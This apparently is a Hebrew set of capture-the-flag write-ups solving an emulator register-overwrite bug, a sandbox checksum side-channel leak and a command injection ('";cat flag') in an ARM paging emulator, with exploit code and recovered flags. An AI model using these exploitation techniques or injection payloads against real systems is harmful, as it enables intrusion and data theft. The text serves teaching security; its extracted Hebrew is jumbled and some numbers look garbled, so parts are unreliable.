            file_write_opcode_imm32(payload_fp, ROR, ASM_REGISTER_R1, 

ASM_REGISTER_R1, 8); 

        } 

    } 

 

    file_write_opcode(payload_fp, PRINTNL); 

    file_write_opcode(payload_fp, RET); 

 

    // Success 

    long offset = ftell(payload_fp); 

    *payload_size_out = (size_t)offset; 

 

    return ret; 

} 

 

// Read the user code from 'stdin'. The code must be terminated with 0xffffffff. 

static int read_user_code(uint8_t * payload, size_t max_size, size_t * 

payload_size_out); 

 

int main(void) 

{ 

    uint8_t admin_payload[MAX_ADMIN_PAYLOAD_SIZE] = { 0 }; 

    size_t admin_payload_size = 0; 

    uint8_t user_payload[MAX_USER_PAYLOAD_SIZE] = { 0 }; 

    size_t user_payload_size = 0; 

    uint8_t * combined_payload = NULL; 

    size_t combined_payload_size = 0; 

 

    generate_admin_code(admin_payload, sizeof(admin_payload), 

                        &admin_payload_size); 

    read_user_code(user_payload, sizeof(user_payload), &user_payload_size); 

 

    combined_payload_size = user_payload_size + admin_payload_size; 

    combined_payload = malloc(combined_payload_size); 

    memcpy(combined_payload, user_payload, user_payload_size); 

    memcpy(&combined_payload[user_payload_size], admin_payload, 

           admin_payload_size); 

    execute_asm_memory(combined_payload, combined_payload_size); 

    return ret; 

} 

הבייטקוד הזה  לאמולטור. RISCVממעבר על הקוד, נבין שהממשק שנגיש לנו הוא העברת בייטקוד 

(user_payload ירוץ לפני )admin_payload ,:שמבצע את החישוב הבא 

1. R1 = Zero + 42 

2. R2 = R0 * R1 

3. R2 = R2 - 1 

4. If R2 != 0 

a. Exit 

5. Else 

a. Print flag 

כמו שכתוב  ..הוא רגיסטר שמאותחל להיות תמיד  Zero-הם רגיסטרים לשימוש כללי, ו R0, R1, R2כאשר 

 בצורה טריוויאליתלמה אי אפשר לעבור את הבדיקה  .R0 * 42 == 1בהערה, זה שקול לבדיקה האם 

ביט. ז"א שכל החישובים מתקיימים  70הפעולות באמולטור מתבצעות בגודל של  ?(Overflow)נגיד, עם 

כפל של מספר זוגי בכל מספר אחר, מודולו מספר זוגי, מחזיר מספר זוגי, אז לא  .070במודולו )שארית( 
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דיקה בכל זאת ולכתוב בייטקוד שיגרום לכן, המטרה שלנו היא למצוא דרך לעבור את הב .1-נוכל להגיע ל

 .Print flag-לנו להגיע ל

שמשתמש בפונקציות  build_payload.cכדי לעזור לנו בכתיבת הבייטקוד, קיבלנו קובץ בשם 

file_write_opcode כדי לכתוב את את הבייטקוד לקובץ: 

/* This project is an example project that can be used in order to generate 

payloads for BabyRISC. 

 * Just edit the opcode insertion and run the output binary. 

 * The payload will be written to a file named "payload.bin". 

 */ 

 

#define TERMINATE_MARKER_UINT32 (0xfffffffful) 

 

int main(void) 

{ 

    FILE * payload_fp = fopen("payload.bin", "w"); 

 

    // Fill some registers and return 

    file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R0,  

                            ASM_REGISTER_ZERO, 0x0); 

    file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R1,  

                            ASM_REGISTER_ZERO, 0x11); 

    file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R2,  

                            ASM_REGISTER_ZERO, 0x22); 

    file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R3,  

                            ASM_REGISTER_ZERO, 0x33); 

    file_write_opcode(payload_fp, RET); 

 

    // Terminate the payload so BabyRISC will know where to stop reading 

    uint32_t terminate_marker = TERMINATE_MARKER_UINT32; 

    fwrite(&terminate_marker, sizeof(terminate_marker), 1, payload_fp); 

} 

 

asm_processor_state: 

typedef enum asm_register_e 

{ 

    ASM_REGISTER_START, 

    ASM_REGISTER_ZERO = ASM_REGISTER_START, 

    ASM_REGISTER_R0, 

    ASM_REGISTER_R1, 

    ASM_REGISTER_R2, 

    ASM_REGISTER_R3, 

    ASM_REGISTER_R4, 

    ASM_REGISTER_R5, 

    ASM_REGISTER_R6, 

    ASM_REGISTER_SP, 

    ASM_REGISTER_END 

} asm_register_t; 

 

#define ASM_STACK_SIZE (4096) 

extern uint8_t asm_stack[ASM_STACK_SIZE] = { 0 }; 

extern reg_value_t registers[ASM_REGISTER_END - ASM_REGISTER_START] = { 0 }; 

 

int read_reg(asm_register_t reg, reg_value_t * reg_out) 

{ 

    if (reg < 0 || reg >= sizeof(registers) / sizeof(reg_value_t)) 

    { 

        return E_R_INVLD_REG; 

    } 

 

    *reg_out = registers[reg]; 

    return E_SUCCESS; 
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} 

 

int write_reg(asm_register_t reg, reg_value_t value) 

{ 

    if (reg < 0 || reg >= sizeof(registers) / sizeof(reg_value_t)) 

    { 

        return E_W_INVLD_REG; 

    } 

    else if (reg == ASM_REGISTER_ZERO) 

    { 

        return E_W2ZERO; 

    } 

 

    registers[reg] = value; 

    return E_SUCCESS; 

} 

 

, ורגיסטר המחסנית R0-R6, הרגיסטרים הכלליים .שמוגדר להיות  Zeroהאמולטור מכיל את הרגיסטר 

SP. נשים לב לבדיקה ב-write_regשמוודאת שאנחנו לא כותבים ל ,-RZero כדי שלא נוכל לשנות אותו מ-

 אפשריים:כבר עכשיו נוכל לחשוב על כמה פתרונות  ..

 לנסות לקרוא את ה-admin_payload ולהדפיס אותו, זה יהיה שקול ללקרוא את ה-flag 

 לדלג על הבדיקה באמצעות שינוי ה-Control Flow של התוכנית 

o  באמצעותjmp 

o  באמצעותcall ועריכת ערך החזרה על המחסנית 

  אם נוכל לאתחל אתZero נוכל לעבור את הבדיקה.-להיות ערך שונה מ , 

o  אבלwrite_reg  בודק שינוי שלZero... 

 כמובן, כל הפתרונות תלויים בפקודות שהאמולטור מאפשר לנו להריץ. הגיע הזמן להתבונן גם עליהן:

instruction_definition_t asm_instruction_definitions[MAX_ASM_OPCODE_VAL] 

= { 

INSTRUCTION_SYMBOL(ADD), INSTRUCTION_SYMBOL(ADDI),   

INSTRUCTION_SYMBOL(AND), INSTRUCTION_SYMBOL(ANDI), 

INSTRUCTION_SYMBOL(DIV), INSTRUCTION_SYMBOL(DIVI), 

INSTRUCTION_SYMBOL(MUL), INSTRUCTION_SYMBOL(MULI),   

INSTRUCTION_SYMBOL(OR), INSTRUCTION_SYMBOL(ORI),  

INSTRUCTION_SYMBOL(PRINTC), INSTRUCTION_SYMBOL(PRINTDD), 

INSTRUCTION_SYMBOL(PRINTDX), INSTRUCTION_SYMBOL(PRINTNL), 

INSTRUCTION_SYMBOL(RET), INSTRUCTION_SYMBOL(RETNZ),   

INSTRUCTION_SYMBOL(RETZ), INSTRUCTION_SYMBOL(ROL), 

INSTRUCTION_SYMBOL(ROR), INSTRUCTION_SYMBOL(SHL),     

INSTRUCTION_SYMBOL(SHR), INSTRUCTION_SYMBOL(SUB),     

INSTRUCTION_SYMBOL(SUBI), INSTRUCTION_SYMBOL(XOR), 

INSTRUCTION_SYMBOL(XORI), INSTRUCTION_SYMBOL(PUSH),    

INSTRUCTION_SYMBOL(POP), INSTRUCTION_SYMBOL(PUSHCTX), 

INSTRUCTION_SYMBOL(POPCTX) 

}; 

 קטגוריות: 4-ניתן לחלק את הפקודות ל

( וחלקן רק Immediate) חלקן מקבלות גם קבוע. וכו' ADDI, AND, DIVI -פקודות אריתמטיות  .1

 רגיסטרים

 למיניהן PRINT -פקודות הדפסה  .2
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המאפשרות לדחוף רגיסטרים ולשחזר אותם  PUSH/POP/PUSHCTX/POPCTX -פקודות מחסנית  .3

 מהמחסנית.

שפשוט יוצאות מהתכנית )האחרונות  Control Flow - RET/RETZ/RETNZ-פקודות המשפיעות על ה .4

 (.-מביניהן לאחר בדיקה אם הרגיסטר שווה או לא שווה ל

 :אם נחזור לפתרונות האפשריים שחשבנו עליהם, נוכל להתחיל לפסול אותם

  ,)אין לנו פקודות הניגשות ישירות לזיכרון )ובכללי, אין באמולטור קונספט של זיכרון חוץ מהמחסנית

 יורדת מהפרק. admin_payload-לקרוא את האז האופציה של 

 אין לנו פקודות שקולות ל-jmp  אוcallאז לא ניתן לדלג על הבדיקה עם שינוי ה ,-Control Flow 

  שינוי ערך הרגיסטרZero -  שוב, נבדק בתוךwrite_reg..אז לא באמת אפשרי ,. 

o האמנם? 

 לגמרי סטנדרטית: יש פקודה אחת שמושכת מאוד את העין, בגלל שהיא מרגישה לא

INSTRUCTION_DEFINE_OP0(POPCTX) 

{ 

    int ret = E_SUCCESS; 

    reg_value_t sp_val = 0; 

 

    ret = read_reg(ASM_REGISTER_SP, &sp_val); 

    if (ret != E_SUCCESS) 

    { 

        goto cleanup; 

    } 

 

    if (sp_val < (reg_value_t)sizeof(registers) || sp_val >  

        (reg_value_t)ASM_STACK_SIZE) 

    { 

        ret = E_STACK_VIOLATION; 

        goto cleanup; 

    } 

 

    sp_val -= sizeof(registers); 

    memcpy(registers, &asm_stack[sp_val], sizeof(registers)); 

 

cleanup: 

    return ret; 

} 

קודם  PUSHCTXמהמחסנית לערכי הרגיסטרים שגובו על ידי  POPמאפשרת לנו לעשות  POPCTXהפקודה 

 בעמוד הבא )נסו לחשוב בעצמכם לפני שתעברו לעמוד הבא!(. לכן, והיא מכילה את הבאג
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 !.-, ולשנות אותו לערך שונה מASM_REGISTER_ZEROהפונקציה מאפשרת לנו לדרוס את 

 נסתכל שוב על הבדיקה:? אז איך עוברים את הבדיקהאוקיי, מגניב, 

1. R1 = Zero + 42 

2. R2 = R0 * R1 

3. R2 = R2 - 1 

4. If R2 != 0 

a. Exit 

5. Else 

a. Print flag 

 נקבל: 41-. אם נשים בו את הערך Zero-כעת, אנחנו שולטים גם ב

1. R1 = -41 + 42 = 1 

2. R2 = R0 * R1 = R0 * 1 

3. R2 = R2 - 1 = R0 - 1 

4. If R0 - 1 != 0 

a. Exit 

5. Else 

a. Print flag 

 

נשים לב שהערך של  .1את הערך  R0-וכל מה שנותר לנו לעשות כדי לעבור את הבדיקה הוא לשים ב

 המימוש: משתחזר לערך הנכון, לכן אין צורך לנסות לשים בו מספר הגיוני. SPהרגיסטר 

// Push The value -41 into the stack 

file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R0, 

ASM_REGISTER_ZERO, -41); 

for (int i = 0; i < ASM_REGISTER_END - ASM_REGISTER_START; i++) 

{ 

    file_write_opcode1(payload_fp, PUSH, ASM_REGISTER_R0); 

} 

 

// Pop all registers using POPCTX 

file_write_opcode(payload_fp, POPCTX); 

 

// Make sure we changed ASM_REGISTER_ZERO 

file_write_opcode(payload_fp, PRINTNL); 

file_write_opcode1(payload_fp, PRINTDX, ASM_REGISTER_ZERO); 

 

// Set ASM_REGISTER_R0 to 1: ASM_REGISTER_ZERO is currently -41, 

so we should add 42 

file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R0, 

ASM_REGISTER_ZERO, 42); 

file_write_opcode1(payload_fp, PRINTDX, ASM_REGISTER_R0); 

 

  דגלנריץ מול השרת ו... נראה שהוא הדפיס משהו, אבל זה לא נראה לגמרי כמו 
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 נסתכל שוב על הקוד שמדפיס את הדגל ונראה את השורה הבאה:

file_write_opcode_imm32(payload_fp, ADDI, ASM_REGISTER_R1, 

ASM_REGISTER_ZERO, dword); 

 41-שמודפס קטן ב dword-עכשיו, וה 41-הוא  ASM_REGISTER_ZERO! הדגלברור שלא קיבלנו את 

 הדגל:מהערך האמיתי! נכתוב סקריפט מהיר שיתקן את זה וידפיס את 

from pwn import * 

 

ldata = [] 

 

with open('malformed_output.bin', 'rb') as f: 

    while True: 

        data = f.read(4) 

        ldata.append(data.ljust(4, '\x00')) 

        if len(data) < 4: 

            break 

 

print ''.join([p32(u32(dat) + 41) for dat in ldata]) 

 

flag{RISC_doesnt_reduce_amount_of_bugs_after_all} 
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 Recall: שם

 350ניקוד: 

 

 :פתרון

המכילה קוד לדוגמה שניתן  payload_example, ותיקייה בשם sandboxובינארי בשם  cאנו מקבלים קוד 

 מייצא. sandbox-)לאחר קימפול(, ומשתמש בחלק מהפיצ'רים שה sandbox-להעביר ל

 פועל כך: sandbox-, הsandbox.c-ב mainממעבר על פונקציית 

 (PTRACE_GET_SYSCALL_INFO-בדיקה שגרסת הקרנל מתאימה )בגלל שימוש ב .1

 מהמשתמש לתוך קובץ זמני ELFקבלת קובץ  .2

 ELF-בדיקה של קובץ ה .3

 )נשמע כמו המטרה העתידית שלנו!( protected regionאתחול  .4

 forkיצירת תהליך בן באמצעות  .5

 פיצול ללוגיקה שונה בין תהליך הבן להורה .6

-שנמצא ב segmentאו  sectionומוודאת שאין  LIEFמשתמשת בספריה  ELF-הבדיקה של קובץ ה

protected region ושהוא קובץ ,ELF 84 .ביטי שמקומפל סטטית. כנראה שאין פה טריק שאפשר לנצל 

כנראה שיש עוד  ( שלו.file descriptor) fd-מחזיר את היוצר קובץ זמני ו protected region-האתחול של ה

 של הבן(. pid-שלב לאתחול, כי הפונקציה של ההורה מקבלת אותו כארגומנט )בנוסף ל

 תהליך הבן, מקבל את שם הקובץ הזמני כארגומנט ואז:

 ptrace(PTRACE_TRACEME,...) -קורא ל .1

 SIGSTOPמסגנל  .2

 6MB-מגביל את זכרון התהליך ל .3

 ים שהתהליך יכול לקרוא להםsyscall-על התהליך, שמגביל את ה seccomp filterמתקין  .4

 שהתקבל מהמשתמש ELF-עם ה execve-קורא ל .5
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 ים המותרים:-syscall-ה

// Signals 

SCMP_SYS(rt_sigreturn), SCMP_SYS(rt_sigaction), SCMP_SYS(rt_sigprocmask), 

SCMP_SYS(sigreturn), 
 

// Exit 

SCMP_SYS(exit_group), SCMP_SYS(exit), 
 

// Filesystem 

SCMP_SYS(access), SCMP_SYS(fstat), SCMP_SYS(read), SCMP_SYS(write), 

SCMP_SYS(close), SCMP_SYS(stat), 

SCMP_SYS(lstat), SCMP_SYS(poll), SCMP_SYS(readlink), SCMP_SYS(pipe), 

SCMP_SYS(pread64), SCMP_SYS(pwrite64), 

SCMP_SYS(readv), SCMP_SYS(writev), SCMP_SYS(dup), SCMP_SYS(dup2), 

SCMP_SYS(dup3), 
 

// Memory 

SCMP_SYS(brk), SCMP_SYS(mmap), SCMP_SYS(munmap), SCMP_SYS(mincore), 

SCMP_SYS(madvise), SCMP_SYS(msync), 
 

// System information 

SCMP_SYS(uname), SCMP_SYS(getpid), SCMP_SYS(getppid), SCMP_SYS(arch_prctl), 

SCMP_SYS(futex), 

SCMP_SYS(nanosleep), SCMP_SYS(gettimeofday), SCMP_SYS(getuid), SCMP_SYS(getgid), 
 

// Additional must-have for the sandbox to work 

SCMP_SYS(execve), 
 

// Tracer-call 

__NR_tracer_call 
 

// mprotect (but only with PROT_NONE as argument) 

 ?(protected region-)או לכל הפחות, גישה ל sandbox-מה היינו רוצים בשביל בריחה מה

 ואז פשוט קריאה של ה( פתיחת קבצים-flag  או קריאה וכתיבת של דברים תחת/proc/self) 

  יצירתthread ים בשביל לנצלrace-ים 

 שינוי הרשאות ה-protected region 

 ?קיימים ברשימה. מה כן יש ויכול להיות מעניין לאלצערנו, כל אלה 

 read - אם ה-fd של ה-protected region !נשאר פתוח, נוכל לנסות לקרוא ממנו 

 mmap - מאפשר לנו לאלקץ זיכרון בכתובות לבחירתנו 

 tracer_call - syscall שה-sandbox מממש ומנגיש לנו. אולי יש בו באגים שנוכל לנצל? 

 אוקיי, עכשיו כשיש לנו את הקונטקסט הזה, נבדוק מה קורה בתהליך ההורה:

 שניות 0של  timeeoutמגדיר  .1

 מהבן SIGSTOPממתין לסיגנל של  .2

 execve-מריץ את הבן עד ל .3

 memoryבאמצעות protected region-ים הבאים כדי לאתחל את הsyscall-מזריק אליו את ה .4

mapped file: 

a1 mmap(PROTECTED_REGION_ADDRESS, PROTECTED_REGION_SIZE, PROT_READ, 

MAP_SHARED | MAP_POPULATE | MAP_FIXED, protected_region_fd, 0)  

b1 mprotect(PROTECTED_REGION_ADDRESS, PROTECTED_REGION_SIZE, PROT_NONE) 

 protected region-או לכתוב מהלאחר קריאה זו, לא ניתן לקרוא 
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c1 close(protected_region_fd) 

 ☹ protected_region_fdעל  read-הלכה התכנית של פשוט לקרוא ל

 execve-משחזר את הקונטקסט המקורי של הקריאה ל .5

 (tracer_callמממש ) sandbox-שה syscall-, מטפל בקריאות לwhile(True)בלולאת  .6

a1  ש "אל תשלח ידך אל הנער".הורג את הבן. ממ -בכישלון 

 מממש הן: sandbox-שה tracer calls-ה

int nop(tracer_data_t * tracer_data, 

    uint64_t * call_result); 

int write_flag_to_protected_region( 

    tracer_data_t * tracer_data, 

    uint64_t * call_result); 

int tracer_call_clear_protected_region( 

    tracer_data_t * tracer_data, 

    uint64_t * call_result); 

int tracer_call_store_key_value( 

    tracer_data_t * tracer_data, 

    uint64_t * call_result, 

    int key_index, 

    uint64_t key_value); 

int tracer_call_get_key_value( 

    tracer_data_t * tracer_data, 

    uint64_t * call_result, 

    int key_index, 

    uint64_t * key_value_out); 

int tracer_call_checksum_tracee_memory( 

    tracer_data_t * tracer_data, 

    uint64_t * call_result, 

    void * tracee_memory_to_checksum, 

    uint32_t * tracee_size_to_checksum, 

    uint8_t * tracee_checksum_result); 

 
 כאשר:

 tracer_data  הואstruct  שנוצר עבור תהליך הבן המכילchild_pid ואת ה-protected_region_fd. 

 call_result הוא משתנה לוקאלי שמוחזר ב-rax בתור ערך החזרה של ה-tracer call. 

 .שאר הארגומנטים מגיעים כפי שהם ונשלטים לחלוטין על ידי תהליך הבן 

 protected-ל flag-כנראה שנרצה לכתוב את ה -ברור מהשם  tracer callהממשק המונגש על ידי כל 

region  באמצעותwrite_flag_to_protected_region י )נזכור שאין לנו ואז לקרוא אותו, בדרך כלשה

syscallים שעשויים לעזור לנו בכך, או דרך לשנות את ה-protection של הדף ל-PROT_READ.) 

 :בכל זאת protected region-במטרה למצוא דרך להצליח לקרוא מה tracer calls-נעבור על ה

 NOP  זהNOP.אין שם כלום . 

 write_flag  פשוט קורא מקובץ בשםflag לתוך ה-protected region 

 clear_protected_region ממפה זיכרון ל-protected fd עושה ,memset ומשחרר אותו 

 store_key_value  האינדקס נבדק כמו שצריך -מכניס ערך למערך גלובאלי 

 get_key_value  האינדקס נבדק כמו שצריך -מוציא ערך מהמערך הגלובאלי 
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 checksum_tracee_memory  מאפשר לחשבchecksum )על אזור זיכרון )כתובת בסיס + גודל 

o האזור נבדק אם הוא נמצא ב-protected region - אם כן, חוזר ערך כשלון 

o גם הפוינטר של ה-result 

o !את הגודל לא צריך לבדוק כי זה מספר.. רגע. זה לא מספר. הגודל נקרא מכתובת לגודל 

 , שהוא לחלוטין בשליטת המשתמש,tracee_size_to_checksumהקריאה שמתבצעת מהפוינטר 

אין בדיקה אם  מתהליך הבן! dwordכדי לקרוא  ptrace(PTRACE_PEEKDATA, …)משתמשת בפונקציה 

ולהתייחס אליו כגודל עליו  flag-, ז"א שאנחנו יכולים להצביע לחלק מהprotected region-הפוינטר ב

 !checksumעושים 

 ?flag-איך מנצלים את זה וקוראים את *כל* ה -עולה השאלה  כעת

 checksum-על אזור חוקי בגודל שקראנו, ולפי ה checksumרעיון אחד שנוכל לחשוב עליו הוא לעשות 

, והגודל התיאורטי של 6MBאנחנו יכולים לאלקץ רק  ?הבעיה שקיבלנו, לנסות להסיק מה הערך המתאים.

מה גם שמימוש של דבר כזה לא נשמע טריוויאלי או לגמרי  ...0x7e7e7e7e-מה שנקרא יכול להגיע ל

 .אפשרי..

ולהשתמש באם הפונקציה  בכוונהנרצה להיכשל  אם נסתכל עוד קצת על הפונקציה, נמצא רעיון אחר:

 ?מה הכוונה .flag-לגודל שנקרא מה side channelנכשלה או לא בתור 

if (read_tracee_dword( 

    tracer_data, 

    tracee_size_to_checksum, 

    &length_to_checksum) == -1) 

    { 

        *call_result = -EFAULT; 

        goto cleanup; 

    } 

 

    // Validate we don't checksum protected region 

    if (is_in_protected_region( 

    tracee_memory_to_checksum, 

    length_to_checksum)) 

    { 

        *call_result = -EPERM; 

        Go to cleanup; 

    } 

... 

 , יחזורprotected region-שנתנו כארגומנט נכנסים ל checksum-הכתובת ל +שקראנו  size-אם ה

 checksum-כגודל, אם הכתובת ל 0x41424344ז"א, נגיד שקראנו את הבתים  !EPERM-הסטאטוס 

 .EPERM-יחזור  PROTECTED_REGION_ADDRESS - 0x41424344שנעביר תהיה 

יחזור סטאטוס שגיאה אחר )כשלאחר מכן  PROTECTED_REGION_ADDRESS - 0x41424345אם נעביר  

 תנסה לקרוא מהבן כתובת לא חוקית(. הפונקציה
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( זה קצת יותר מדי לשתי שניות ASCIIערכים שונים )ארבעה תווי  794ו אוקיי, מגניב, אבל לנסות עכשי

 ריצה..

 ניסיונות. log(954, 2)=~26-אופציה אחת תהיה לעשות חיפוש בינארי, מה שיעזור לנו למצוא את הערך ב

, ולהתקדם NULL, היכן שמובטח לנו ששלושה בתים יהיו flag-של ה מהסוףאופציה נוספת היא להתחיל 

 תו!-. כך נוכל לנחש תוflag-לתחילת ה

עד  checksum-פשוט נלך אחורה עם הכתובת ל -. זה קל flag-הצעד הראשון יהיה להבין מה האורך של ה

 :EPERM-שנפסיק לקבל 

while (-EPERM == status) 

{ 

    status = syscall_func( 

    __NR_tracer_call, 

    TRACER_CALL_COMMAND_CHECKSUM_TRACEE_MEMORY, 

    PROTECTED_REGION_ADDRESS - 1, 

    PROTECTED_REGION_ADDRESS + flag_len, 

    &checksum); 

    flag_len++; 

} 

 

 בתים. כעת, כל שנותר הוא לנחש אותם: 49הוא  flag-נקבל שאורך ה

uint8_t checksum = 0; 

uint64_t status = -EPERM; 

char guessed_chars[FLAG_LEN + 8] = { 0 }; 

char* currently_guessing = NULL; 

char found = false; 

 

if (0 != syscall_func( 

   __NR_tracer_call,   

TRACER_CALL_COMMAND_WRITE_FLAG_TO_PROTECTED_REGION)) 

{ 

   syscall_func(__NR_exit, 0); 

} 

 

// Guess char, char by char from end of flag 

for (int i = FLAG_LEN; i > 0; i--) 

{ 

  found = false; 

  currently_guessing = &guessed_chars[i]; 

 

  for (unsigned char c = 0; c < 128; c++) 

  { 

     *currently_guessing = c; 

     status = syscall_func( 

         __NR_tracer_call, 

        TRACER_CALL_COMMAND_CHECKSUM_TRACEE_MEMORY, 

        PROTECTED_REGION_ADDRESS - *(uint32_t*)(currently_guessing) - 1, 

        PROTECTED_REGION_ADDRESS - 2 + i, 

        &checksum); 

     if (-EPERM != status) 

     { 

         found = true; 
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         break; 

     } 

  } 

  if (!found) 

  { 

     syscall_func(__NR_write, 1, "Not found :(", 12); 

     break; 

  } 

} 

syscall_func(__NR_write, 1, "FLAG: ", 6); 

syscall_func(__NR_write, 1, guessed_chars, FLAG_LEN); 

syscall_func(__NR_exit, 0); 

 והתוצאה:

flag{OOP5_D1d_1_F41L_7O_V4l1D473_cH3ck5UM?!} 
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 Paging שם האתגר:

 400 ניקוד:

 

 :פתרון

, ומריץ אותו באמצעות 0x4000, טוען אותו לכתובת הפיזית ARMהקוד שקיבלנו מקבל כקלט קוד 

Unicorn. Unicorn  קוד ה -הוא אמולטור שמאפשר לאמלץ ריצה של פקודות מעבד )במקרה שלנו-ARM 

-כתיבה של זיכרון, הרצת קוד וקריאה ל/על קריאה -ים -hookשאנחנו נותנים(. הקוד מוסיף הרבה 

Interrupt כדי לתמוך בפיצ'רים שונים כמו ,paging ,interrupts ו-hypercalls. 

 ( כזיכרון פיזי.Unicorn-בתחילת הריצה ניתן להתייחס לכל מרחב הזיכרון )כולו מאולקץ ב

 בתים. 0x800000והוא בגודל  .אולקץ לתכנית מתחיל בכתובת הזכרון הפיזי שמ

-הדבר הכי מעניין שאנחנו יכולים לעשות הוא לקרוא ל לא קורה יותר מדי במצב הזה של התכנית.

Interrupt- ים הבאים באמצעות הפקודהsvc: 

.1 PAGING_ENABLE - הפעלת מנגנון ה-Paging 

11 PAGING_DISABLE - כיבוי מנגנון ה-Paging 

01 HYPERCALL_REG -  ביצועHyperCall  עובד רק אם(Paging )פועל 

71 TTBR0 -  איתחול הרגיסטרTTBR0שמצביע לתחילתו של ה ,-Page Table  כמו(CR3 ב-x86) 

41 EXIT_SVC - סיום הריצה 

91 AUTHENTICATE_SVC -  ביצוע אותנטיקציה עבורHyperCalls 

a1  רק אםPaging מופעל 

b1  הפונקציה לא ממומשת וזורקת  -לא באמת יעבודNotImplementedError 

c1  אם היה עובד, הייתה מריצהself._curr_perm = Hypercall.GROUP_PERM_SUPER 

 (Hypercall.GROUP_PERM_USERהערך של המשתנה הוא  HyperCall-)באתחול ה

נראה  ?לאן אנו מכוונים -כעת שאנחנו מבינים בערך מה חשוף לנו, נותר להבין מה המטרה שלנו 

 Hypercalls 14כי הוא מספק משטח תקיפה רחב )יש  - HyperCall-שהמודול הכי מעניין מבחינתנו הוא ה

 שונים!(, וגם נראה שהכי קשה להגיע אליו. נתבונן עליו לעומק כדי להבין איך בדיוק הוא עובד.

 השדות הבאים: את ההגדרות שלו, המכילות את .המנגנון מחזיק בכתובת פיזית 
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Struct( 

"groups" / Int8ub, 

"time_activated" / PaddedString(LEN_OF_TIME_STR, "utf8"), 

"group_profiles" / Array(this.groups, Struct( 

    "group_perm" / Int8ub, 

) 

שמחזירה  ,activateבפונקציה  HyperCallבפעם הראשונה, מופעל גם המנגנון של  Pagingכאשר מפעילים 

 את ההגדרות הדיפלוטיביות הבאות:

{ 

    "groups": 1, 

    "time_activated": 

datetime.datetime.fromtimestamp(timestamp).strftime(TIME_FMT), 

    "group_profiles": [ 

        {"group_perm": self.GROUP_PERM_SUPER} 

    ] 

} 

-רגע לפני ביצוע ה .HyperCallונקראות משם ברגע שמבצעים  .הגדרות אלה נכתבות לכתובת הפיזית 

HyperCall קיימת בדיקה הבודקת אם ,self._curr_perm מאותחל ל(-GROUP_PERM_USER == 0 נמצא )

אחד,  groupיש רק  -שבהגדרות )לפי מה שאנו רואים, בהגדרות הדיפולטיביות  Groups-באחד מה

 (.GROUP_PERM_SUPER == 1בהרשאות 

לשנות  -ים, נצטרך למצוא דרך לעבור את הבדיקה הזאת HyperCallאוקיי, אז אם נרצה להצליח להריץ 

או לשנות  GROUP_PERM_USER, להוסיף קבוצה עם GROUP_PERM_SUPER-ל self._curr_permאת 

 .אותנטיקציהאת הערך בקבוצה הקיימת. ז"א, נרצה להצליח לבצע 

 שאלה מעולה, טוב ששאלתם. ?flag-איך זה עוזר לנו להשיג את ה ?HyperCallאבל למה שנרצה להריץ 

של  deactivate-, נקראת פונקציית הPaging-ברגע שמכבים את ה -יש פיצ'ר מוזר קצת  HyperCall-ל

HyperCallששומרת את ההגדרות בקובץ, כששם הקובץ הוא ה ,-time_activated .השמירה  מההגדרות

 , בצורה הבאה:os.system-מתבצעת באמצעות קריאה ל

self._open_process( 

            ECHO + 

            f' "{hypercall_settings}"' + 

            INTO_FILE + 

            ' ' + 

            STATES_FOLDER + 

            os.path.sep + 

            f'{file_name}') 

 נראית ככה:ז"א, שפקודת שמירה של ההגדרות 

echo "{hypercall_settings}" > user_states/{filename} 
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 :file_name-, שמגודר להיות הtime_activatedשנותן לנו לשנות את  HyperCallמה גם שיש 

elif idx == 14: 

    print("Executing Hypercall Change time activated") 

 

    hypercall_settings['time_activated'] = arg1.decode("utf8") 

    ret = 0 

 Command, אנחנו יכולים לבצע time_activatedאם אנחנו שולטים על  ?אתם רואים את מה שאני רואה

Injection !ז"א, אם נשים בתור  ולהריץ כל פקודה שנרצהtime_activated " את המחרוזת;cat flag" - 

  !ניצחנו

echo "{hypercall_settings}" > user_states/;cat flag 

ולהצליח לבצע  Paging. אנחנו צריכים להפעיל .יש עוד מכשולים בדרך. !אבל רגע, לא כזה מהר

 אותנטיקציה.

 ?איך דף נולד

, קוד Pagingברגע שאנו מפעילים  מתרגם בין כתובות וירטואליות לפיזיות בצורה הבאה: Paging-מנגנון ה

-, כשהדפים הפיזיים נשמרים בוירטואלימאמלץ רץ במרחב זיכרון  Unicorn-ש ARM-ה

self._physical_memory  במחלקהPaging.  

הרצה מכתובת כלשהי, הכתובת הזאת היא וירטואלית והתכנית /כתיבה/ברגע שמתבצעת קריאה

-בכתובת הפיזית ש, שנמצאת Page directory-מתרגמת אותה לכתובת הפיזית המתאימה באמצעות ה

TTBR0 :מצביע עליה 

 ( ומחלקת אותה לביטים 70התכנית לוקחת את הכתובת הוירטואלית )-אופסטים: 7 

PDE index (10 bits) | PTE index (10 bits) | Offset (12 bits) 

 כעת, היא הולכת לטבלה של ה-PDE-ים שנמצאת בכתובת הפיזית ש-TTBR0  מצביע עליה, ומחלצת

 ים.-PTEשחולץ מצביע לכתובת פיזית המכילה טבלת  PDE-. הPDE index-המתאים ל PDE-את ה

 התכנית הולכת לטבלה של ה-PTEים ומחלצת את ה-PTE המתאים ל-PTE index. ה-PTE  שחולץ

 מצביע לכתובת הפיזית המתאימה לזיכרון הוירטואלי שניסינו לגשת אליו.

 התכנית מוסיפה לכתובת הפיזית הזו את ה-Offsetהרצה/כתיבה/, ואז ניגשת אליה לקריאה. 

 זה בגדול. ועכשיו יותר לעומק:

 PDE/PTE :נראה ככה 

PFN (20 bits) | Unused (7 bits) | NX (1 bit) | Dirty (1 bit) | Accessed (1 bit) | Write (1 bit) | 

Present (1 bit) 
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 יש כאן הרבה ביטים.. מה המשמעות שלהם? 

o PFN הוא המצביע לכתובת הפיזית 

o NX  מסמל שאזור הזיכרון הואNotEXecutableז"א שלא ניתן להריץ ממנו קוד , 

o Dirty מודלק ברגע שמבצעים את תרגום הכתובת עבור כתיבה ומנסים לגשת ל-PDE/PTE 

  ההדלקה מתרחשת בפונקציה_validate_entryשנפרט עליה עוד מעט , 

o Accessed מודלק בכל גישה ל-PDE/PTE במהלך תרגום הכתובת 

 שוב, הביט מודלק ב-_validate_entry 

o Write מסמל האם ניתן לכתוב לזיכרון 

o Present .אם הביט לא דלוק, נזרק  מסמל שהזיכרון הפיזי עליו מצביעים קיים וניתן לגשת אליו

